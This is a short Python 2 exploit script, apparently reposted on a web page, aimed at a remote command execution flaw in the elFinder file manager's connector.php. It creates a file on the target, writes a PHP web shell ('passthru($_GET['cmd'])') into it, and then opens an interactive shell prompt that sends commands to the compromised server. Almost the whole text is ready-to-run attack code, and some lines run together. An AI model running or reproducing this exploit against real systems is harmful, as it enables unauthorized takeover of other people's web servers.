|
import cookielib, urllib
import urllib2
import sys
print"\x20\x20+-------------------------------------------------+"
print"\x20\x20| elFinder Remote Command Execution Vulnerability |"
print"\x20\x20| TUNISIAN CYBER |"
print"\x20\x20+-------------------------------------------------+"
host = raw_input('\x20\x20Vulnerable Site:')
evilfile = raw_input('\x20\x20EvilFileName:')
path=raw_input('\x20\x20elFinder s Path:')
tcyber = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(tcyber))
create = opener.open('http://'+host+'/'+path+'/php/connector.php?cmd=mkfile&name='+evilfile+'&target=l1_Lw')
payload = urllib.urlencode({
'cmd' : 'put',
'target' : 'l1_'+evilfile.encode('base64','strict'),
'content' : '<?php passthru($_GET[\'cmd\']); ?>'
})
write = opener.open('http://'+host+'/'+path+'/php/connector.php', payload) print '\n'
while True:
try:
cmd = raw_input('[She3LL]:~# ')
execute = opener.open('http://'+host+'/'+path+'/admin/js/plugins/elfinder/files/'+evilfile+'?cmd='+urllib.quote(cmd)) reverse = execute.read()
print reverse;
if cmd.strip() == 'exit':
break
except Exception:
break
sys.exit()
|
推荐
评论(0条)
